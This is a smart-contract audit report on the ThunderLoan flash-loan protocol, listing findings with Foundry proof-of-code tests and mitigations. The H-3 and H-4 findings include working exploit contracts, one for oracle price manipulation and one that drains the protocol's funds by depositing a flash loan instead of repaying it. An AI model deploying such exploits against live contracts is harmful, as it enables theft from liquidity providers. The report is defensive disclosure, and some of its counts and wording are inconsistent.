ThunderLoan Protocol Audit Report

Version 1.0

by Squilliam

April 20, 2024

Protocol Audit Report

Squilliam

April 20, 2024

Prepared by: [Squilliam] Lead Auditors:

- Squilliam

Table of Contents

    - [H-4] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol
  - Medium
    - [M-1] Centralization risk for trusted owners
      - Impact:
      - Contralized owners can brick redemptions by disapproving of a specific token
  - Low
    - [L-1] Empty Function Body - Consider commenting why
    - [L-2] Initializers could be front-run
    - [L-3] Missing critial event emissions
  - Informational
    - [I-1] Poor Test Coverage
    - [I-2] Not using `__gap[50]` for future storage collision mitigation
    - [I-3] Different decimals may cause confusion. ie: AssetToken has 18, but asset has 6
    - [I-4] Doesn't follow https://eips.ethereum.org/EIPS/eip-3156
  - Gas
    - [GAS-1] Using bools for storage incurs overhead
    - [GAS-2] Using `private` rather than `public` for constants, saves gas
    - [GAS-3] Unnecessary SLOAD when logging new exchange rate

Protocol Summary

The ThunderLoan protocol is meant to do the following:

Give users a way to create flash loans Give liquidity providers a way to earn money off their capital Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. These AssetTokens gain interest over time depending on how often people take out flash loans!

Disclaimer

The Squilliam team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
- In Scope:

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.
-

Executive Summary

The ThunderLoan protocol has been designed with two primary objectives:

To enable users to create flash loans, providing them with an innovative financial instrument. To offer liquidity providers an opportunity to earn money by leveraging their capital.

Liquidity providers can engage with the ThunderLoan ecosystem by depositing their assets and receiving AssetTokens in return. These AssetTokens accrue interest over time, with the interest rate being influenced by the frequency of flash loan usage within the platform.

Issues found

Severtity	Number of issues found
High	4
Medium	1
Low	3
Info	7
Total	15

Findings

Highs

[H-1] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`

Description: `ThunderLoan.sol` has two variables in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the expected upgraded contract `ThunderLoanUpgraded.sol` has them in a different order.

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the positions of storage variables when working with upgradeable contracts.

Impact: After upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the `s_currentlyFlashLoaning` mapping will start on the wrong storage slot.

Proof of Code:

Code Add the following code to the `ThunderLoanTest.t.sol` file.

```
// You'll need to import `ThunderLoanUpgraded` as well
import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/ThunderLoanUpgraded.sol";

function testUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeTo(address(upgraded));
        uint256 feeAfterUpgrade = thunderLoan.getFee();

        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In `ThunderLoanUpgraded.sol`:

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee;
+    uint256 public constant FEE_PRECISION = 1e18;
```

[H-2] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and inco in rrectly sets the exchange rate.

Description: In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, its responsible for keeping track of how many fees to give to liquidity providers.

However, the `deposit` function updates this rate without collecting any fees!

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
        // @audit-high
@>      uint256 calculatedFee = getCalculatedFee(token, amount);
@>      assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

Impact: There are several impacts to this bug.

1. The `redeem` function is blocked, because the protocol thinks the owed tokens is more than it has.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved.

Proof of Concept:

1. LP deposits
2. User takes out a flashloan
3. It is not impossible for LP to redeem

Proof of Code

Place the following into `Thunderloan.t.sol`

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);

        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA, amountToBorrow, "");
        vm.stopPrank();

        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
    }
```

Recommended Mitigation: Remove the incorrectly updated exchange rate lines from the `deposit`.

```
 function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
        // @audit-high
-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

[H-3] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based on AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicous users to manipulate the price of a token by buying or sells a large amount of the token in the same transaction, essentially ignoring protocol fees

Impact: Liquidity providers will drastically receive reduced fees for providing liquidity.

Proof of Concept:

The following all happens in 1 transaction.

1. User takes a flashloan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flashloan, they do the following:
2. Instead of repaying right away, the user takes out another flashloan for another 1000 `tokenA`.

    1. Due to the price `ThunderLoan` calculates price based on the `TSwapPool`, this second flashloan is substantially cheaper,

```
  function getPriceInWeth(address token) public view returns (uint256) {
        address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
        return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
    }
```

3. The user then repays the first flashloan, and then repays the second flashloan.

Add the following Proof of Code test to `ThunderLoanTest.t.sol`

Proof Of Code

```
function testOracleManipulation() public {
        // 1. Set-up contracts
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
        // Create a TSwap Dex between Weth and TokenA
        address tswapPool = pf.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        // 2. Fund TSwap
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(address(tswapPool), 100e18);
        weth.mint(liquidityProvider, 100e18);
        weth.approve(address(tswapPool), 100e18);
        BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.timestamp);
        vm.stopPrank();
        // Ration 100 WETH & 100 TokenA
        // Price: 1:1

        // 3. Fund ThunderLoan
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        // Fund
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 1000e18);
        tokenA.approve(address(thunderLoan), 1000e18);
        thunderLoan.deposit(tokenA, 1000e18);
        vm.stopPrank();

        // 100 WETH & TokenA in TSwap, meaning the price is 1:1
        // 1000 TokenA in ThunderLoan
        // Take out a flashloan of 50 TokenA
        // swap it on the dex, tanking the price> 150 TokenA -> ~80WETH
        // take out ANOTHER flashloan of 50 TokenA (and we'll see how much cheaper it is!)

        // 4. We are going to take out 2 flashloans
        // a. To nuke the price of the Weth/tokenA on TSwap
        // b. to show that doing so greatly reduces the fees we pay on thunderloan.
        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18);
        console.log("Normal Fee Cost: ", normalFeeCost);
        // Normal Fee Cost: 0.296147410319118389

        uint256 amountToBorrow = 50e18; // we're gonna do this twice
        MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver(
            address(tswapPool), address(thunderLoan), address(thunderLoan.getAssetFromToken(tokenA))
        );

        vm.startPrank(user);
        tokenA.mint(address(flr), 100e18);
        thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "");
        vm.stopPrank();

        uint256 attackFee = flr.feeOne() + flr.feeTwo();
        console.log("Attack Fee is: ", attackFee);
        assert(attackFee < normalFeeCost);
    }
}

contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tswapPool;
    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;
    // 1. Swap TokenA for WETH
    // 2.  Take out another flashloan to show the difference

    constructor(address _tswapPool, address _thunderloan, address _repayAddress) {
        tswapPool = BuffMockTSwap(_tswapPool);
        thunderLoan = ThunderLoan(_thunderloan);
        repayAddress = _repayAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        if (!attacked) {
            // 1. Swap TokenA borrowed for WETH
            // 2. Take out another flashloan to show the difference
            feeOne = fee;
            attacked = true;
            uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(50e18, 100e18, 100e18);
            IERC20(token).approve(address(tswapPool), 50e18);
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18, wethBought, block.timestamp);
            // we call a second flashloan
            thunderLoan.flashloan(address(this), IERC20(token), amount, "");
            // repay
            // IERC20(token).approve(address(thunderLoan), amount + fee);
            // thunderLoan.repay(IERC20(token), amount + fee);
            IERC20(token).transfer(address(repayAddress), amount + fee);
        } else {
            // calculate the fee and repay
            feeTwo = fee;
            // repay
            // IERC20(token).approve(address(thunderLoan), amount + fee);
            // thunderLoan.repay(IERC20(token), amount + fee);
            IERC20(token).transfer(address(repayAddress), amount + fee);
        }
    }
}
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a chainlink pricefeed with a uniswap TWAP fallback oracle.

[H-4] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol

Description: Users can call a flashloan from `ThunderLoan`, then instead of repaying it, they can code a smart contract to instead deposit the flashloan back into the protocol, allowing them to then redeem the funds(steal the funds), as if they deposited the funds themselves.

Impact: Anyone who uses this exploit can steal all the funds in the protocol.

Proof of Concept:

Insert the following test into `ThunderLoanTest.t.sol`

Proof Of Code

```
 function testUseDepositInsteadOfRepayToStealFunds() public setAllowedToken hasDeposits {
        vm.startPrank(user);
        uint256 amountToBorrow = 50e18;
        uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
        DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
        tokenA.mint(address(dor), fee);
        thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
        dor.redeemMoney();
        vm.stopPrank();

        assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
    }
}

contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        IERC20(token).approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }

    function redeemMoney() public {
        uint256 amount = assetToken.balanceOf(address(this));
        thunderLoan.redeem(s_token, amount);
    }
}
```

Recommended Mitigation: Do not allow users to be able to deposit flashloans into the deposit function.

Medium

[M-1] Centralization risk for trusted owners

Impact: Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Instances (2):

```
File: src/protocol/ThunderLoan.sol

223:     function setAllowedToken(IERC20 token, bool allowed) external onlyOwner returns (AssetToken) {

261:     function _authorizeUpgrade(address newImplementation) internal override onlyOwner { }
```

Contralized owners can brick redemptions by disapproving of a specific token

Low

[L-1] Empty Function Body - Consider commenting why

Instances (1):

```
File: src/protocol/ThunderLoan.sol

261:     function _authorizeUpgrade(address newImplementation) internal override onlyOwner { }
```

[L-2] Initializers could be front-run

Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

Instances (6):

```
File: src/protocol/OracleUpgradeable.sol

11:     function __Oracle_init(address poolFactoryAddress) internal onlyInitializing {
```

```
File: src/protocol/ThunderLoan.sol

138:     function initialize(address tswapAddress) external initializer {

138:     function initialize(address tswapAddress) external initializer {

139:         __Ownable_init();

140:         __UUPSUpgradeable_init();

141:         __Oracle_init(tswapAddress);
```

[L-3] Missing critial event emissions

Description: When the `ThunderLoan::s_flashLoanFee` is updated, there is no event emitted.

Recommended Mitigation: Emit an event when the `ThunderLoan::s_flashLoanFee` is updated.

```
+    event FlashLoanFeeUpdated(uint256 newFee);
.
.
.
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+       emit FlashLoanFeeUpdated(newFee);
    }
```

Informational

[I-1] Poor Test Coverage

```
Running tests...
| File                              | % Lines        | % Statements   | % Branches    | % Funcs        |
| --------------------------------- | -------------- | -------------- | ------------- | -------------- |
| src/protocol/AssetToken.sol       | 70.00% (7/10)  | 76.92% (10/13) | 50.00% (1/2)  | 66.67% (4/6)   |
| src/protocol/OracleUpgradeable.sol | 100.00% (6/6)   | 100.00% (9/9)   | 100.00% (0/0) | 80.00% (4/5)   |
| src/protocol/ThunderLoan.sol       | 64.52% (40/62) | 68.35% (54/79) | 37.50% (6/16) | 71.43% (10/14) |
```

[I-2] Not using `__gap[50]` for future storage collision mitigation

[I-3] Different decimals may cause confusion. ie: AssetToken has 18, but asset has 6

[I-4] Doesn't follow https://eips.ethereum.org/EIPS/eip-3156

Recommended Mitigation: Aim to get test coverage up to over 90% for all files.

Gas

[GAS-1] Using bools for storage incurs overhead

Use `uint256(1)` and `uint256(2)` for true/false to avoid a Gwarmaccess (100 gas), and to avoid Gsset (20000 gas) when changing from 'false' to 'true', after having been 'true' in the past. See source.

Instances (1):

```
File: src/protocol/ThunderLoan.sol

98:     mapping(IERC20 token => bool currentlyFlashLoaning) private s_currentlyFlashLoaning;
```

[GAS-2] Using `private` rather than `public` for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

Instances (3):

```
File: src/protocol/AssetToken.sol

25:     uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
```

```
File: src/protocol/ThunderLoan.sol

95:     uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee

96:     uint256 public constant FEE_PRECISION = 1e18;
```

[GAS-3] Unnecessary SLOAD when logging new exchange rate

In `AssetToken::updateExchangeRate`, after writing the `newExchangeRate` to storage, the function reads the value from storage again to log it in the `ExchangeRateUpdated` event.

To avoid the unnecessary SLOAD, you can log the value of `newExchangeRate`.

```
  s_exchangeRate = newExchangeRate;
- emit ExchangeRateUpdated(s_exchangeRate);
+ emit ExchangeRateUpdated(newExchangeRate);
```